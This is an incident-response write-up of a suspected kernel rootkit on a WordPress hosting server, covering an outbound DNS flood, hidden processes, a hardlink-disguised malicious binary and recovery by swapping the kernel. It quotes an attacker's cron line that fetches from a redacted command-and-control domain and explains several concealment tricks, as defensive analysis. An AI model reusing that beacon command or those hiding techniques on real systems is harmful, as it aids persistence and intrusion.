Incident Response DFIR Linux Security WordPress

When the Linux System Started Lying

Investigation of a suspected kernel-level compromise in a BrainyCP production environment. Outbound DNS flood, falsified command output, empty lsmod, and the only way out — swapping the kernel on a live compromised system.

Incident ID: INC-2026-0505
Detected: 2026-05-05 19:42 UTC
Severity: Critical
Status: Closed
Environment: BrainyCP 2.x / Ubuntu 20.04 LTS / WordPress 6.x
Attack Vector: Suspected LKM rootkit via WordPress compromise
Impact: Outbound DNS flood (500+ req/s), system integrity loss
Response: Full system rebuild, forensic analysis, infrastructure hardening
⚠️
Forensic Disclaimer

This investigation was conducted under time pressure during an active incident. While we have strong behavioral indicators of a kernel-level compromise, we were unable to extract the malicious module for static analysis before the system rebuild.

TL;DR — 30-second summary
// Table of Contents
  1. How it started: the hosting provider alert
  2. Attack timeline
  3. Initial recon: what the processes reveal
  4. Three key artifacts
  5. Hardlink: the attackers' cleverest trick
  6. Suspected kernel-level compromise: when you can't trust your own OS
  7. The breakthrough: swapping the kernel restores control
  8. Network isolation at the hypervisor level
  9. Saving data and migration plan
  10. Key lessons and hardening recommendations
01

How it started: the hosting provider alert

This is a story about an email that arrives at 1 AM and flips your night upside down. Linode (Akamai Cloud Computing Services) sent a notification with a subject line that makes your stomach drop:

email / support ticket #XXXXXXXX
We have detected an Outbound Denial of Service attack
originating from your Linode.
This is most likely the result of a system compromise.
Because of the serious nature of this activity, we have
applied network restrictions to your Linode to prevent
further abuse.

One critical point up front: discovery was reactive, not proactive. We found out from the provider, not our own monitoring. First lesson: if you don't have alerts on anomalous outbound traffic, you're always the last to know you've been compromised.

ℹ️
What Linode does when it detects DDoS

The provider applies network restrictions at the hypervisor level, blocking all non-standard traffic while preserving SSH (port 22) for remediation. The server is quarantined. Sensible policy — but your business goes down while it's in effect.

The server ran a BrainyCP control panel with dozens of WordPress sites, PHP users isolated per-account with individual php-fpm pools. A completely standard setup — and exactly the kind of target botnet operators specifically hunt for.

02

Attack timeline

By correlating file timestamps, logs, and metadata we reconstructed the following sequence:

April 29, 2026 · ~16:11
Initial intrusion and rootkit installation
Via a WordPress vulnerability, attackers achieved code execution. A 32-bit ELF binary (294 KB, statically linked, stripped) was dropped to /etc/watchdog. The /bin/kmod binary was replaced with a fake version.
May 1, 2026 · ~06:46
Persistence: systemd unit infection
Dozens of PHP-FPM systemd units modified. @reboot /etc/watchdog added to root's crontab. chattr +i immutable flag set on the binary.
May 4–5, 2026
Active DNS flood attack
Hundreds of UDP queries per second to 8.8.8.8 and 1.1.1.1. Linode detects anomaly, applies restrictions, sends abuse ticket.
May 5, 2026 · evening
Investigation begins
Abuse ticket received. lsmod is empty, find dies with SIGKILL. The conclusion is unavoidable: the kernel is compromised.
May 6, 2026 · 00:30–01:30
Isolation and control restored
Kernel profile swapped in Linode panel — suspected LKM rootkit dies on next boot. Cloud Firewall applied at hypervisor level. Full database dump completed.
03

Initial recon: what the processes reveal

ss -tupn immediately showed dozens of DNS connections from php processes and one with no process name at all:

bash — ss -tupn
ESTAB  x.x.x.x:59392  8.8.8.8:53   users:(("php",pid=37234))
ESTAB  x.x.x.x:42262  8.8.8.8:53   users:(("php",pid=37232))
# dozens more DNS connections from php processes...
ESTAB  x.x.x.x:50632  y.y.y.y:61002  ← no process name!
⚠️
A connection with no process name is a rootkit signature

An empty users column means the process is hidden via getdents hooking. IP y.y.y.y (external hosting) is a typical C2 server location.

bash — diagnostic attempts
root@server:~# lsmod
Module    Size  Used by
# ← empty. On a real server lsmod is NEVER empty.

root@server:~# find /bin /usr/bin -type f -exec file {} \;
find: 'file' terminated by signal 9
# ← rootkit kills processes scanning system directories

Empty lsmod is physically impossible on a running server without external interference. The conclusion was clear: the kernel is lying to us, and every subsequent action had to account for that.

04

Three key artifacts

Artifact #1 — /etc/watchdog

Root's crontab had @reboot /etc/watchdog. A 32-bit ELF binary in /etc/ is already an anomaly — but it couldn't be deleted:

bash
root@server:/etc# file /etc/watchdog
ELF 32-bit LSB executable, Intel 80386, statically linked, stripped

root@server:/etc# lsattr /etc/watchdog
----i---------e------- /etc/watchdog
# 'i' = immutable flag — even root can't delete it

root@server:/etc# rm -f /etc/watchdog
rm: cannot remove '/etc/watchdog': Operation not permitted

# Correct approach:
root@server:/etc# chattr -i /etc/watchdog && rm -f /etc/watchdog
🚨
chattr +i — a botnet operator's favorite weapon

The immutable flag blocks all modifications — deletion, renaming, overwriting — even for root. Many admins don't know it exists and assume the system is broken when standard deletion silently fails.

Artifact #2 — C2 dropper via the ccparser user

bash — crontab ccparser
5 0 * * * /usr/bin/curl --silent http://[REDACTED-C2-DOMAIN]/parser.php > /dev/null
# every night at 00:05 — polling the C2 server for new instructions

Classic beacon architecture: the malware polls its command-and-control server daily for updated instructions and new payloads. This channel almost certainly delivered the April 29 binary.

Artifact #3 — the replaced /bin/kmod

bash — stat /bin/kmod
Modify: 2026-04-30 12:32:42
Change: 2026-05-01 06:46:04
Birth:  2026-05-01 06:46:04
# kmod is what lsmod symlinks to. The replacement always returned empty output.
05

Hardlink: the attackers' cleverest trick

When standard find was being killed by the malware, searching by inode number bypassed the block entirely:

bash — inode search
root@server:~# stat /usr/bin/php74/bin/php-fpm
Inode: 1071637   Links: 1
Modify: 2007-12-25 09:50:38  ← time-stomp: PHP 7.4 didn't exist in 2007

root@server:~# find / -inum 1071637
/home/[CLIENT]/.../CMB2/includes/types/CMB2_Type_Wysiwyg.php
/usr/bin/php74/bin/php-fpm
# one inode — two paths. This is a hardlink.
🔗
Why use a hardlink for concealment

One physical file — two filesystem paths. An AV scanning /home sees a legitimate CMB2 plugin PHP file. That same object is the malicious binary executed by PHP-FPM. Deleting one path leaves the other intact. The file disappears only when all links to the inode are removed.

The file in the plugin directory also had 0000 permissions — blocking any scanner that tried to read it. But the attackers made a classic mistake: ctime can't be forged through ordinary means — it updates on every chmod call.

bash — stat CMB2_Type_Wysiwyg.php
Size: 2905   Inode: 1071637
Access: (0000/----------)   ← all permissions stripped
Modify: 2023-11-07 08:08:17  ← forged "old" date
Change: 2026-05-05 21:02:56  ← file is alive right now
06

Suspected kernel-level compromise: when you can't trust your own OS

Once a malicious LKM is loaded, the OS can no longer be trusted as a source of truth. While we couldn't extract the module for analysis, the behavioral indicators were consistent with a kernel-level compromise. The suspected attack chain:

1
Initial access via WordPress
Plugin or theme vulnerability exploited. Code execution achieved as www-data or the site account user.
2
Privilege escalation and persistence
@reboot /etc/watchdog in crontab, chattr +i on the binary, suspected LKM rootkit loaded into the kernel.
3
Syscall hooking
getdents hook hides files and processes. read hook on /proc/modules hides the module itself. Replaced kmod blinds lsmod. Scanning processes killed by name. (Behavioral evidence — module not extracted for analysis.)
4
DNS flood and C2 callback
Outbound UDP flood to public DNS resolvers. Daily C2 beacon via cron. Active connection to Dutch server with no visible process owner.

Iterating directly through /proc — bypassing the compromised ps — exposed dozens of hidden processes. The malware intercepted ps queries but didn't fake the physical contents of /proc/PID/ directories — that gap was the opening.

07

The breakthrough: swapping the kernel restores control

Working on a system with a lying kernel is like playing chess against an opponent who can see your moves before you make them. The only option was to change the board itself.

In the Linode panel under Configurations, the boot profile was changed from the external Linode kernel (6.15.7-x86_64-linode169) to GRUB (Legacy). After reboot, the system came up on its own Ubuntu kernel: 5.15.0-152-generic.

Why swapping the kernel killed the suspected rootkit

LKM rootkits are compiled against the specific internal symbol offsets of a particular kernel version. With a different kernel, the module can't locate the addresses it needs — its code becomes incompatible with the new environment. The hooked syscalls are released. The OS starts telling the truth again.

bash — after kernel swap
root@server:~# lsmod
Module              Size  Used by
drm_kms_helper    315392  4 bochs,drm_vram_helper
virtio_net         61440  0
aesni_intel       376832  0
...
# ← lsmod is alive. The suspected rootkit is dead.

root@server:~# ss -uapn | grep :53
UNCONN 0 0 127.0.0.53%lo:53  0.0.0.0:*  users:(("systemd-resolve"...))
# ← DNS flood stopped. Hundreds of connections: gone.
08

Network isolation at the hypervisor level

Cloud Firewall rules are applied before packets reach the VM. No code running inside the OS can see this firewall, let alone bypass it.

Before isolation
  • FTP (21), SSH (22) open to everyone
  • Full mail stack (25, 465, 587, 110, 143, 993, 995)
  • BrainyCP panel (8000, 8002)
  • Unrestricted outbound traffic
  • DNS flood freely exits the server
After isolation
  • HTTP (80) — sites still serve traffic
  • HTTPS (443) — sites still serve traffic
  • 998 ports — filtered
  • Rootkit cut off from C2
  • Business continues uninterrupted
💡
Why not just use iptables inside the OS?

If the kernel is compromised, you can't trust iptables either. A rootkit can intercept the network stack and bypass firewall rules from inside the kernel. Cloud Firewall at the hypervisor level is Out-of-Band Security: it lives completely outside the protected system's perimeter.

09

Saving data and migration plan

bash — database dump
/usr/libexec/mysqld --skip-grant-tables \
  --socket=/tmp/recovery.sock --user=mysql &

mysqldump --socket=/tmp/recovery.sock --all-databases \
  --events --routines --triggers > /root/FINAL_DUMP.sql

-rw-r--r-- 1 root root 847M May 06 01:14 FINAL_DUMP.sql
SQL database dumps — the only truly trusted asset.
Web server configs — text files reviewable by hand before use.
wp-content/uploads — only after scanning for PHP files (there should be none).
PHP site files — reinstall only from official WordPress.org repositories.
Binaries and system files — never, under any circumstances.
Old SSH keys and passwords — all must be considered compromised.
10

Key lessons and hardening recommendations

01
Metadata is more honest than content

ctime can't be forged through ordinary means. Every chmod updates it unavoidably. When content is silent, metadata speaks. Make stat your first tool in any investigation.

02
Empty lsmod is an SOS, not normal

Physically impossible on a working server. It means a kernel-level compromise (likely an LKM rootkit) or a replaced kmod. Don't trust the kernel — act one level up.

03
Swapping the kernel kills kernel-level malware

LKMs are tightly bound to a specific kernel version through internal symbol offsets. A different kernel makes the module incompatible. On Linode or DigitalOcean this takes 5 minutes from the web panel.

04
The hypervisor is the only neutral arbiter

Cloud Firewall at the hypervisor level is Out-of-Band Security. First response to any serious incident: isolate from the outside, investigate after.

05
Hardlinks are a blind spot for most scanners

Most tools don't cross-check inodes between directories. Regular find -inum checks on system binaries should be part of your security routine.

06
Infrastructure as cattle, not pets

Rebuild took less time than fighting the compromise. Victory isn't about finding every malicious byte — it's that the architecture let us amputate the infected node and grow a clean one without losing a row of data.

WordPress on VPS hardening checklist

🔑SSH keys only. Set PasswordAuthentication no in sshd_config.
🔥Cloud Firewall at the hypervisor level. Control panel ports accessible only from specific IPs.
📦PHP user isolation per account + disable_functions = exec,passthru,shell_exec,system,popen.
🚫Block xmlrpc.php and wp-login.php via Fail2Ban or Nginx limit_req.
🔒chattr +i wp-config.php — make the config immutable after setup.
📊Alert on anomalous outbound traffic and UDP flood to port 53.
🔍Regular find /etc /bin /usr/bin -type f -newer /etc/passwd to detect new binaries in system directories.
💾Offline SQL dump backups. Disk image backups are useless — they export the infection with the data.
"We didn't win because we found every malicious byte.
We won because our architecture let us amputate
the infected segment and grow a new one."
— Immutable Infrastructure principle in practice
Stanislav Kurmanov
Stanislav Kurmanov
// Infrastructure Architect · DevSecOps